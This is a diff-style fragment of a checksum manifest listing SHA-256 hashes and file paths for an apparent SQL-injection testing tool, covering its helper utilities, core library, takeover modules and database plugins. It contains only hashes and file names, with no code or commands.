+2e7cda0795eee1ac6f0f36e51ce63a6afedc8bbdfc74895d44a72fd070cf9f17 doc/translations/README-ko-KR.md
+c161d366c1fa499e5f80c1b3c0f35e0fdeabf6616b89381d439ed67e80ed97eb doc/translations/README-nl-NL.md
+95298c270cc3f493522f2ef145766f6b40487fb8504f51f91bc91b966bb11a7b doc/translations/README-pl-PL.md
+b904f2db15eb14d5c276d2050b50afa82da3e60da0089b096ce5ddbf3fdc0741 doc/translations/README-pt-BR.md
+3ed5f7eb20f551363eed1dc34806de88871a66fee4d77564192b9056a59d26ec doc/translations/README-rs-RS.md
+7d5258bcd281ee620c7143598c18aba03454438c4dc00e7de3f4442d675c2593 doc/translations/README-ru-RU.md
+bc15e7db466e42182e4bf063919c105327ff1b0ccd0920bb9315c76641ffd71a doc/translations/README-sk-SK.md
+ab7d86319a68392caac23d8d7870d182d31fb8b33b24e84ba77c8119dbd194c2 doc/translations/README-tr-TR.md
+5e313398bfe2573c83e25cfc5ff4c003fdbf9244aa611597a7084f7ac11cc405 doc/translations/README-uk-UA.md
+c3a53e041ce868b4098c02add27ea3abaf6c9ecf73da61339519708ada6d4f24 doc/translations/README-vi-VN.md
+c4590a37dc1372be29b9ba8674b5e12bcda6ab62c5b2d18dab20bcb73a4ffbeb doc/translations/README-zh-CN.md
+8c4b528855c2391c91ec1643aeff87cae14246570fd95dac01b3326f505cd26e extra/beep/beep.py
+509276140d23bfc079a6863e0291c4d0077dea6942658a992cbca7904a43fae9 extra/beep/beep.wav
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/beep/__init__.py
+676a764f77109f29c310d7f9424c381516f71944e910efabbc95601af1e49a48 extra/cloak/cloak.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/cloak/__init__.py
+6879b01859b2003fbab79c5188fce298264cd00300f9dcecbe1ffd980fe2e128 extra/cloak/README.txt
+4b6d44258599f306186a24e99d8648d94b04d85c1f2c2a442b15dc26d862b41e extra/dbgtool/dbgtool.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/dbgtool/__init__.py
+a777193f683475c63f0dd3916f86c4b473459640c3278ff921432836bc75c47f extra/dbgtool/README.txt
+b7557edb216f65056d359cd48f3191a642cf3a1838a422a67ffbef17b58535d7 extra/icmpsh/icmpsh.exe_
+4838389bf1ceac806dff075e06c5be9c0637425f37c67053a4361a5f1b88a65c extra/icmpsh/icmpsh-m.c
+8c38efaaf8974f9d08d9a743a7403eb6ae0a57b536e0d21ccb022f2c55a16016 extra/icmpsh/icmpsh-m.pl
+12014ddddc09c58ef344659c02fd1614157cfb315575378f2c8cb90843222733 extra/icmpsh/icmpsh_m.py
+6359bfef76fb5c887bb89c2241f6d65647308856f8d3ce3e10bf3fdde605e120 extra/icmpsh/icmpsh-s.c
+ab6ee3ee9f8600e39faecfdaa11eaa3bed6f15ccef974bb904b96bf95e980c40 extra/icmpsh/__init__.py
+27af6b7ec0f689e148875cb62c3acb4399d3814ba79908220b29e354a8eed4b8 extra/icmpsh/README.txt
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/__init__.py
+191e3e397b83294082022de178f977f2c59fa99c96e5053375f6c16114d6777e extra/runcmd/README.txt
+53d98136e508330e3adad43e4a3b0ebc5143c79f0ee7bce5dacf92cb8f7a17fd extra/runcmd/runcmd.exe_
+70bd8a15e912f06e4ba0bd612a5f19a6b35ed0945b1e370f9b8700b120272d8f extra/runcmd/src/README.txt
+baecf66c52fe3c39f7efa3a70f9d5bd6ea8f841abd8da9e6e11bdc80a995b3ae extra/runcmd/src/runcmd/runcmd.cpp
+a24d2dc1a5a8688881bea6be358359626d339d4a93ea55e8b756615e3608b8dd extra/runcmd/src/runcmd/runcmd.vcproj
+16d4453062ba3806fe6b62745757c66bf44748d25282263fe9ef362487b27db0 extra/runcmd/src/runcmd.sln
+d4186cac6e736bdfe64db63aa00395a862b5fe5c78340870f0c79cae05a79e7d extra/runcmd/src/runcmd/stdafx.cpp
+e278d40d3121d757c2e1b8cc8192397e5014f663fbf6d80dd1118443d4fc9442 extra/runcmd/src/runcmd/stdafx.h
+38f59734b971d1dc200584936693296aeebef3e43e9e85d6ec3fd6427e5d6b4b extra/shellcodeexec/linux/shellcodeexec.x32_
+b8bcb53372b8c92b27580e5cc97c8aa647e156a439e2306889ef892a51593b17 extra/shellcodeexec/linux/shellcodeexec.x64_
+cfa1f8d02f815c4e8561f6adbdd4e84dda6b6af6c7a0d5eeb9d7346d07e1e7ad extra/shellcodeexec/README.txt
+980c03585368a124a085c9f35154f550f945d356ceb845df82b2734e9ad9830b extra/shellcodeexec/windows/shellcodeexec.x32.exe_
+384805687bfe5b9077d90d78183afcbd4690095dfc4cc12b2ed3888f657c753c extra/shutils/autocompletion.sh
+a86533e9f9251f51cd3a657d92b19af4ec4282cd6d12a2914e3206b58c964ee0 extra/shutils/blanks.sh
+cfd91645763508ba5d639524e1448bac64d4a1a9f2b1cf6faf7a505c97d18b55 extra/shutils/drei.sh
+dd5141a5e14a5979b3d4a733016fafe241c875e1adef7bd2179c83ca78f24d26 extra/shutils/duplicates.py
+0d5f32aa26b828046b851d3abeb8a5940def01c6b15db051451241435b043e10 extra/shutils/junk.sh
+74fe683e94702bef6b8ea8eebb7fc47040e3ef5a03dec756e3cf4504a00c7839 extra/shutils/newlines.py
+fed05c468af662ba6ca6885baf8bf85fec1e58f438b3208f3819ad730a75a803 extra/shutils/postcommit-hook.sh
+ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/precommit-hook.sh
+3893c13c6264dd71842a3d2b3509dd8335484f825b43ed2f14f8161905d1b214 extra/shutils/pycodestyle.sh
+0525e3f6004eb340b8a1361072a281f920206626f0c8f6d25e67c8cef7aee78a extra/shutils/pydiatra.sh
+763240f767c3d025cefb70dede0598c134ea9a520690944ae16a734e80fd98a0 extra/shutils/pyflakes.sh
+d12fd5916e97b2034ba7fbfa8da48f590dc10807119b97a9d27347500c610c2d extra/shutils/pypi.sh
+df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh
+1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
+9e5e4d3d9acb767412259895a3ee75e1a5f42d0b9923f17605d771db384a6f60 extra/vulnserver/vulnserver.py
+b8411d1035bb49b073476404e61e1be7f4c61e205057730e2f7880beadcd5f60 lib/controller/action.py
+e376093d4f6e42ee38b050af329179df9c1c136b7667b2f1cb559f5d4b69ebd9 lib/controller/checks.py
+430475857a37fd997e73a47d7485c5dd4aa0985ef32c5a46b5e7bff01749ba66 lib/controller/controller.py
+56e03690c1b783699c9f30cb2f8cc743d3716aba8137e6b253b21d1dd31a4314 lib/controller/handler.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/controller/__init__.py
+2a96190ced25d8929861b13866101812fcadf5cac23dd1dd4b29b1a915918769 lib/core/agent.py
+b13462712ec5ac07541dba98631ddcda279d210b838f363d15ac97a1413b67a2 lib/core/bigarray.py
+3b2ca69b7a2e07f6db2fed2651c19e401f62e2068ea3b5f8f96ebf0ff067f349 lib/core/common.py
+a6397b10de7ae7c56ed6b0fa3b3c58eb7a9dbede61bf93d786e73258175c981e lib/core/compat.py
+a9997e97ebe88e0bf7efcf21e878bc5f62c72348e5aba18f64d6861390a4dcf2 lib/core/convert.py
+c03dc585f89642cfd81b087ac2723e3e1bb3bfa8c60e6f5fe58ef3b0113ebfe6 lib/core/data.py
+ca06a0e9d66a58e74ef994d53f9b3cd2ebaed98735bbab99854054235a8083d6 lib/core/datatype.py
+70fb2528e580b22564899595b0dff6b1bc257c6a99d2022ce3996a3d04e68e4e lib/core/decorators.py
+147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py
+6b366f897e66b9df39df2ee45fef77d46efb7a2d4e294440d3aa7dc1b2f4cedf lib/core/dicts.py
+a033f92d136c707a25927c2383125ddb004d4283db62c004dcd67c3fc242bb1c lib/core/dump.py
+1abf1edeacb85eaf5cffd35fcbde4eee2da6f5fc722a8dc1f9287fb55d138418 lib/core/enums.py
+5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py
+914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py
+02a2264324caa249154e024a01bcd7cc40dbca4d647d5d10a50654b4415a6d77 lib/core/optiondict.py
+c1cb56f2a43e9f2f6b25d5f3d504e856ea21df6fc14af5e37b1000feef2bdb5a lib/core/option.py
+8171f6ee33e7742f06bb3014a28324496374beddee7b378ace10a26414a97762 lib/core/patch.py
+49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py
+03db48f02c3d07a047ddb8fe33a757b6238867352d8ddda2a83e4fec09a98d04 lib/core/readlineng.py
+48797d6c34dd9bb8a53f7f3794c85f4288d82a9a1d6be7fcf317d388cb20d4b3 lib/core/replication.py
+0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
+888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
+1418691b5449412e60c693b6afc2f12b00051c1e280d2261762a36f094e0da66 lib/core/settings.py
+cd5a66deee8963ba8e7e9af3dd36eb5e8127d4d68698811c29e789655f507f82 lib/core/shell.py
+bcb5d8090d5e3e0ef2a586ba09ba80eef0c6d51feb0f611ed25299fbb254f725 lib/core/subprocessng.py
+d35650179816193164a5f177102f18379dfbe6bb6d40fbb67b78d907b41c8038 lib/core/target.py
+ddf8c5a3dbebd6cdf8b8ba4417e36652d1e040f025175cb6487f1aebc0208836 lib/core/testing.py
+b5b65f018d6ef4b1ceeebbc50d372e07d4733267c9f3f4b13062efd065e847b6 lib/core/threads.py
+b9aacb840310173202f79c2ba125b0243003ee6b44c92eca50424f2bdfc83c02 lib/core/unescaper.py
+10719f5ca450610ad28242017b2d8a77354ca357ffa26948c5f62d20cac29a8b lib/core/update.py
+ec11fd5a3f4efd10a1cae288157ac6eb6fb75da4666d76d19f6adf74ac338b5a lib/core/wordlist.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/__init__.py
+54bfd31ebded3ffa5848df1c644f196eb704116517c7a3d860b5d081e984d821 lib/parse/banner.py
+a9f10a558684778bdb00d446cb88967fc1bfd413ae6a5f4bd582b3ea442baa87 lib/parse/cmdline.py
+02d82e4069bd98c52755417f8b8e306d79945672656ac24f1a45e7a6eff4b158 lib/parse/configfile.py
+c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py
+5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py
+1ad9054cd8476a520d4e2c141085ae45d94519df5c66f25fac41fe7d552ab952 lib/parse/html.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/parse/__init__.py
+d2e771cdacef25ee3fdc0e0355b92e7cd1b68f5edc2756ffc19f75d183ba2c73 lib/parse/payloads.py
+80d26a30abe948faf817a14f746cc8b3e2341ea8286830cccaae253b8ac0cdff lib/parse/sitemap.py
+1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py
+a1c638493ecdc5194db7186bbfed815c6eed2344f2607cac8c9fa50534824266 lib/request/basic.py
+bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py
+2daf0ce19eacda64687f441c90ef8da51714c3e8947c993ba08fb4ecdc4f5287 lib/request/comparison.py
+f83140c85be7f572f83c4ab4279fa1d8601243210cdfe4a44b2fc218befbcffd lib/request/connect.py
+8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py
+cf019248253a5d7edb7bc474aa020b9e8625d73008a463c56ba2b539d7f2d8ec lib/request/dns.py
+f56fc33251bd6214e3a6316c8f843eb192b2996aa84bd4c3e98790fdcf6e8cf0 lib/request/httpshandler.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/request/__init__.py
+aeeeb5f0148078e30d52208184042efc3618d3f2e840d7221897aae34315824e lib/request/inject.py
+ada4d305d6ce441f79e52ec3f2fc23869ee2fa87c017723e8f3ed0dfa61cdab4 lib/request/methodrequest.py
+43a7fdf64e7ba63c6b2d641c9f999a63c12ac23b43b64fedfce4e05b863de568 lib/request/pkihandler.py
+b90feeb16e89a844427df42373b0139eb6f6cf3c48ccec32b3e3a3f540c2451e lib/request/rangehandler.py
+47a97b264fb588142b102d18100030ce333ce372c677b97ed6cb04105c6c9d30 lib/request/redirecthandler.py
+1bf93c2c251f9c422ecf52d9cae0cd0ff4ea2e24091ee6d019c7a4f69de8e5eb lib/request/templates.py
+01600295b17c00d4a5ada4c77aa688cfe36c89934da04c031be7da8040a3b457 lib/takeover/abstraction.py
+d3c93562d78ebdaf9e22c0ea2e4a62adb12f0ce9e9d9631c1ea000b1a07d04ab lib/takeover/icmpsh.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/takeover/__init__.py
+12e729e4828b7e1456ca41dae60cb4d7eca130a8b4c4885dd0f5501dcbda7fe4 lib/takeover/metasploit.py
+f522436fbd14bdab090a1d305fcac0361800cb8e36c8cbcb47933298376a71e0 lib/takeover/registry.py
+f6e5d6e2ff368fa39943b2302982f33c47eb9a12d01419bef50fcf934b2bce34 lib/takeover/udf.py
+23d73af417604dab460b74cdc230896153f018a6c00d144019491053640a172f lib/takeover/web.py
+14179e5273378ec8d63660a87c5cb07a42b61a6fceb7f3bb494a7b5ce10ce2cb lib/takeover/xp_cmdshell.py
+69928272eed889033e106527f88454dc844bfbb375fcf7c22d5f76ee30c62c9b lib/techniques/blind/inference.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/blind/__init__.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/dns/__init__.py
+3df9839fb92a81d46b6194d7adacb43f391efb78b071783c132e8d596ecbfaf1 lib/techniques/dns/test.py
+2934514a60cbcd48675053a73f785b4c7bfe606b51c34ae81a86818362ec4672 lib/techniques/dns/use.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py
+f552b6140d4069be6a44792a08f295da8adabc1c4bb6a5e100f222f87144ca9d lib/techniques/error/use.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py
+30cae858e2a5a75b40854399f65ad074e6bb808d56d5ee66b94d4002dc6e101b lib/techniques/union/test.py
+a17c1d201bd084de0093254bcd303aa859399891de13a7259e8c200e98294efb lib/techniques/union/use.py
+67dff80a17503b91c8ff93788ccc037b6695aa18b0793894b42488cbb21c4c83 lib/utils/api.py
+ea5e14f8c9d74b0fb17026b14e3fb70ee90e4046e51ab2c16652d86b3ca9b949 lib/utils/brute.py
+da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
+a94958be0ec3e9d28d8171813a6a90655a9ad7e6aa33c661e8d8ebbfcf208dbb lib/utils/deps.py
+51cfab194cd5b6b24d62706fb79db86c852b9e593f4c55c15b35f175e70c9d75 lib/utils/getch.py
+853c3595e1d2efc54b8bfb6ab12c55d1efc1603be266978e3a7d96d553d91a52 lib/utils/gui.py
+366e6fd5356fae7e3f2467c070d064b6695be80b50f1530ea3c01e86569b58b2 lib/utils/har.py
+a1a1ccd5ec29a6a884cfa8264d4e0f7e0b6a0760c692eb402805f926da41e6ee lib/utils/hashdb.py
+84bf572a9e7915e91dbffea996e1a7b749392725f1ad7f412d0ff48c636a2896 lib/utils/hash.py
+1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py
+22ba65391b0a73b1925e5becf8ddab6ba73a196d86e351a2263509aad6676bd7 lib/utils/pivotdumptable.py
+c1dfc3bed0fed9b181f612d1d747955dd2b506dbe99bc9fd481495602371473a lib/utils/progress.py
+27afe211030d06db28df85296bfbf698296c94440904c390cef0ff0c259dbbc5 lib/utils/purge.py
+c853aa08ab24a00a78969408d60684da0ccb33a2a6693492e0acb7c480ffbcd1 lib/utils/safe2bin.py
+2ee72e83500a1bf02fcd942564fca0053a0c46f736286f0c35dd6904e09f4734 lib/utils/search.py
+8258d0f54ad94e6101934971af4e55d5540f217c40ddcc594e2fba837b856d35 lib/utils/sgmllib.py
+b08373d647f337722983221d9051d8da253bf02e3f084aba8aee642ace8d02a6 lib/utils/sqlalchemy.py
+f0e5525a92fe971defc8f74c27942ff9138b1e8251f2e0d9a8bd59285b656084 lib/utils/timeout.py
+f821dc39a75ea48dccfa758788de15d38b9ca6a780a98f59935fb6610f75508c lib/utils/tui.py
+e430db49aa768ff2cdba76932e30871c366054599c44d91580dde459ab9b6fef lib/utils/versioncheck.py
+b6cd3059c369bbcb162cfd797596849f9f95078c3b2e91fecee36d3ea1001fc2 lib/utils/xrange.py
+b1bbb62f5b272a6247d442d5e4f644a5bca7138e70776539ec84a5a90433fd13 LICENSE
+6b1828a80ae3472f1adb53a540dee0835eccac14f8cfc4bf73962c4e49a49557 plugins/dbms/access/connector.py
+c18939660aebb5ce323b4c78a46a2b119869ba8d0b44c853924118936ce5b0ac plugins/dbms/access/enumeration.py
+fcfe4561f2d8b753b82dfb7f86f28389e7eb78f60d19468949b679d7ea5fb419 plugins/dbms/access/filesystem.py
+24c9e969ac477b922d7815f7ab5b33a726925f592c88ee610e5e06877e6f0460 plugins/dbms/access/fingerprint.py
+2809275d108d51522939b86936b6ec6d5d74ecb7a8b9f817351ba2c51bece868 plugins/dbms/access/__init__.py
+10643cf23b3903f7ed220e03ec8b797fcbda6fb7343729fb1091c4a5a68ceb5d plugins/dbms/access/syntax.py
+9901abd6a49ee75fe6bb29fd73531e34e4ae524432a49e83e4148b5a0540dbbf plugins/dbms/access/takeover.py
+f4e06c5790f7e23ee467a10c75574a16fd86baeb4a58268ec73c52c2a09259f7 plugins/dbms/altibase/connector.py
+c07f786b06dc694fa6e300f69b3e838dc9c917cf8120306f1c23e834193d3694 plugins/dbms/altibase/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/altibase/filesystem.py
+1e21408faa9053f5d0b0fb6895a19068746797c33cbd01e3b663c1af1b3d945a plugins/dbms/altibase/fingerprint.py
+b55d9c944cf390cd496bd5e302aa5815c9c327d5bb400dc9426107c91a40846d plugins/dbms/altibase/__init__.py
+859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/altibase/syntax.py
+2c3bb750d3c1fb1547ec59eb392d66df37735bd74cca4d2c745141ea577cce1e plugins/dbms/altibase/takeover.py
+c03bf2d0584327f83956209f4f4697661b908b32b6fe5a1f9f2e06560870b084 plugins/dbms/cache/connector.py
+49b591c1b1dc7927f59924447ad8ec5cb9d97a74ad4b34b43051253876c27cdc plugins/dbms/cache/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/cache/filesystem.py
+ef270e87f7fc2556f900c156a4886f995a185ff920df9d2cd954db54ee1f0b77 plugins/dbms/cache/fingerprint.py
+d7b91c61a49f79dfe5fc38a939186bfc02283c0e6f6228979b0c6522b9529709 plugins/dbms/cache/__init__.py
+f8694ebfb190b69b0a0215c1f4e0c2662a7e0ef36e494db8885429a711c66258 plugins/dbms/cache/syntax.py
+9ecab02c90b3a613434f38d10f45326b133b9bb45137a9c8be3e20a3af5d023b plugins/dbms/cache/takeover.py
+0163ce14bfa49b7485ab430be1fa33366c9f516573a89d89120f812ffdbc0c83 plugins/dbms/clickhouse/connector.py
+9a839e86f1e68fde43ec568aa371e6ee18507b7169a5d72b54dad2cebf43510b plugins/dbms/clickhouse/enumeration.py
+b1a4b0e7ba533941bc1ec64f3ea6ba605665f962dc3720661088acdda19133e5 plugins/dbms/clickhouse/filesystem.py
+0bfea29f549fe8953f4b8cdee314a00ce291dd47794377d7d65d504446a94341 plugins/dbms/clickhouse/fingerprint.py
+4d69175f80e738960a306153f96df932f19ec2171c5d63746e058c32011dc7b1 plugins/dbms/clickhouse/__init__.py
+86e906942e534283b59d3d3b837c8638abd44da69ad6d4bb282cf306b351067f plugins/dbms/clickhouse/syntax.py
+07be8ec11f369790862b940557bdf30c0f9c06522a174f52e5a445feec588cc4 plugins/dbms/clickhouse/takeover.py
+b81c8cae8d7d32c93ad43885ecaf2ca2ccd289b96fae4d93d7873ddbbdedfda0 plugins/dbms/cratedb/connector.py
+08b77bd8a254ce45f18e35d727047342db778b9eab7d7cb871c72901059ae664 plugins/dbms/cratedb/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/cratedb/filesystem.py
+3c3145607867079f369eb63542b62eee3fa5c577802e837b87ecbd53f844ff6e plugins/dbms/cratedb/fingerprint.py
+2ed9d4f614ca62d6d80d8db463db8271cc6243fd2b66cb280e0f555d5dd91e9e plugins/dbms/cratedb/__init__.py
+4878e83ef8e33915412f2fac17d92f1b1f6f18b47d31500cd93e59d68f8b5752 plugins/dbms/cratedb/syntax.py
+1c69b51ab3a602bcbc7c01751f8d4d6def4b38a08ea6f1abc827df2b2595acf9 plugins/dbms/cratedb/takeover.py
+205736db175b6177fe826fc704bb264d94ed6dc88750f467958bfc9e2736debd plugins/dbms/cubrid/connector.py
+ebda75b55cc720c091d7479a8a995832c1b43291aabd2d04a36e82cf82d4f2c2 plugins/dbms/cubrid/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/cubrid/filesystem.py
+5a834dc2eb89779249ea69440d657258345504fcfe1d68f744cb056753d3fa45 plugins/dbms/cubrid/fingerprint.py
+d87a1db3bef07bee936d9f1a2d0175ed419580f08a9022cf7b7423f8ae3e2b89 plugins/dbms/cubrid/__init__.py
+efb4bc1899fef401fa4b94450b59b9a7a423d1eea5c74f85c5d3f2fc7d12a74d plugins/dbms/cubrid/syntax.py
+294f9dc7d9e6c51280712480f3076374681462944b0d84bbe13d71fed668d52f plugins/dbms/cubrid/takeover.py
+db2b657013ebdb9abacab5f5d4981df5aeff79762e76f382a0ee1386de31e33d plugins/dbms/db2/connector.py
+b096d5bb464da22558c801ea382f56eaae10a52a1a72c254ef9e0d4b20dceacd plugins/dbms/db2/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/db2/filesystem.py
+f2271ca24e42307c1e62938a77462e6cd25f71f69d39937b68969f39c6ee7318 plugins/dbms/db2/fingerprint.py
+d34c7a44e70add7b73365f438a5ad64b8febb2c9708b0f836a00cb9ef829dd1f plugins/dbms/db2/__init__.py
+859cc5b9be496fe35f2782743f8e573ff9d823de7e99b0d32dbc250c361c653e plugins/dbms/db2/syntax.py
+1ce793ee91c4de6eb7839adc379652d55ef54f162a9a030b948c54d55dc93c14 plugins/dbms/db2/takeover.py
+3e6e791bb6440395a43bb4e26bedb6e80810d03c6d82fd35be16475f6ff779be plugins/dbms/derby/connector.py
+f00b651eb7276990cb218cb5091a06dac9a5512f9fb37a132ddfa8e7777a538e plugins/dbms/derby/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/derby/filesystem.py
+c5e3ace77b5925678ab91cda943a8fb0d22a8b7a5e3ebab75922d9a9973cf6a2 plugins/dbms/derby/fingerprint.py
+3849f05ebafb49c8755d6a8642bb9a3a6ebf44e656348fda1eae973e7feb2e9b plugins/dbms/derby/__init__.py
+4878e83ef8e33915412f2fac17d92f1b1f6f18b47d31500cd93e59d68f8b5752 plugins/dbms/derby/syntax.py
+e0b8eb71738c02e0738d696d11d2113482a7aa95e76853806f9b33c2704911c7 plugins/dbms/derby/takeover.py
+7ed428256817e06e9545712961c9094c90e9285dbbbbf40bfc74c214942aa7dd plugins/dbms/extremedb/connector.py
+59d5876b9e73d3c451d1cd09d474893322ba484c031121d628aa097e14453840 plugins/dbms/extremedb/enumeration.py
+7264cb9d5ae28caab99a1bd2f3ad830e085f595e1c175e5b795240e2f7d66825 plugins/dbms/extremedb/filesystem.py
+c11430510e18ff1eec0d6e29fc308e540bbd7e925c60af4cd19930a726c56b74 plugins/dbms/extremedb/fingerprint.py
+7d2dc7c31c60dc631f2c49d478a4ddeb6b8e08b93ad5257d5b0df4b9a57ed807 plugins/dbms/extremedb/__init__.py
+4878e83ef8e33915412f2fac17d92f1b1f6f18b47d31500cd93e59d68f8b5752 plugins/dbms/extremedb/syntax.py
+e05577e2e85be5e0d9060062511accbb7b113dfbafa30c80a0f539c9e4593c9f plugins/dbms/extremedb/takeover.py
+5a5ab2661aea9e75795836f0e2f3143453dfcc57fa9b42a999349055e472d6ea plugins/dbms/firebird/connector.py
+813ccc7b1b78a78079389a37cc67aa91659aa45b5ddd7b124a922556cdafc461 plugins/dbms/firebird/enumeration.py
+5becd41639bb2e12abeda33a950d777137b0794161056fb7626e5e07ab80461f plugins/dbms/firebird/filesystem.py
+f560172d8306ca135de82cf1cd22a20014ce95da8b33a28d698dd1dcd3dad4b0 plugins/dbms/firebird/fingerprint.py
+d11a3c2b566f715ba340770604b432824d28ccc1588d68a6181b95ad9143ce7f plugins/dbms/firebird/__init__.py
+b8c7f8f820207ec742478391a8dbb8e50d6e113bf94285c6e05d5a3219e2be08 plugins/dbms/firebird/syntax.py
+7ca3e9715dc72b54af32648231509427459f26df5cf8da3f59695684ed716ea0 plugins/dbms/firebird/takeover.py
+983c7680d8c4a77b2ac30bf542c1256561c1e54e57e255d2a3d7770528caad79 plugins/dbms/frontbase/connector.py
+ed55e69e260d104022ed095fb4213d0db658f5bd29e696bba28a656568fb7480 plugins/dbms/frontbase/enumeration.py
+6af3ba41b4a149977d4df66b802a412e1e59c7e9d47005f4bfab71d498e4c0ee plugins/dbms/frontbase/filesystem.py
+e51cedf4ee4fa634ffd04fc3c9b84e4c73a54cd8484e38a46d06a2df89c4b9fa plugins/dbms/frontbase/fingerprint.py
+eb6e340b459f988baa17ce9a3e86fabb0d516ca005792b492fcccc0d8b37b80e plugins/dbms/frontbase/__init__.py
+4878e83ef8e33915412f2fac17d92f1b1f6f18b47d31500cd93e59d68f8b5752 plugins/dbms/frontbase/syntax.py
+e32ecef2b37a4867a40a1885b48e7a5cad8dfa65963c5937ef68c9c31d45f7c5 plugins/dbms/frontbase/takeover.py
+e2c7265ae598c8517264236996ba7460a4ab864959823228ac87b9b56d9ab562 plugins/dbms/h2/connector.py
+dc350c9f7f0055f4d900fe0c6b27d734a6d343060f1578dd1c703af697ef0a81 plugins/dbms/h2/enumeration.py
+1fac1f79b46d19c8d7a97eff8ebd0fb833143bb2a15ea26eb2a06c0bae69b6b2 plugins/dbms/h2/filesystem.py
+c14d73712d9d6fcfa6b580d72075d51901c472bdd7e1bc956973363ad1fca4d8 plugins/dbms/h2/fingerprint.py
+742d4a29f8875c8dabe58523b5e3b27c66e29a964342ec6acd19a71714b46bb1 plugins/dbms/h2/__init__.py
+1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/h2/syntax.py
+c994c855cf0d30cf0fa559a1d9afc22c3e31a14ba2634f11a1a393c7f6ec4b95 plugins/dbms/h2/takeover.py
+eedf40aa079cfaae5616b213ff994f796b726fcfb99c567db51cdf2cd75aacc7 plugins/dbms/hsqldb/connector.py
+03c8dd263a4d175f3b55e9cbcaa2823862abf858bab5363771792d8fd49d77a1 plugins/dbms/hsqldb/enumeration.py
+2e64d477331cb7da88757d081abf2885d025b51874f6b16bde83d82f1430bc35 plugins/dbms/hsqldb/filesystem.py
+b5b86da64fc24453a3354523a786a2047b99cd200eae7015eef180655be5cff5 plugins/dbms/hsqldb/fingerprint.py
+321a8efe7b65cbdf69ff4a8c1509bd97ed5f0edd335a3742e3d19bca2813e24a plugins/dbms/hsqldb/__init__.py
+1df5c5d522b381ef48174cfc5c9e1149194e15c80b9d517e3ed61d60b1a46740 plugins/dbms/hsqldb/syntax.py
+48b475dd7e8729944e1e069de2e818e44666da6d6668866d76fd10a4b73b0d46 plugins/dbms/hsqldb/takeover.py
+0b2455ac689041c1f508a905957fb516a2afdd412ccba0f6b55b2f65930e0e12 plugins/dbms/informix/connector.py
+a3e11e749a9ac7d209cc6566668849b190e2fcc953b085c9cb8041116dff3d4b plugins/dbms/informix/enumeration.py
+672dc9b3d291aa4f5d6c4cbe364e92b92e19ee6de86f6d9b9a4dda7d5611b409 plugins/dbms/informix/filesystem.py
+d2d4ba886ea88c213f3e83eef12b53257c0725017f055d1fd1eed8b33a869c0b plugins/dbms/informix/fingerprint.py
+d4a7721fa80465ac30679ba79e7a448aa94b2efa1dbf4119766bc7084d7e87e4 plugins/dbms/informix/__init__.py
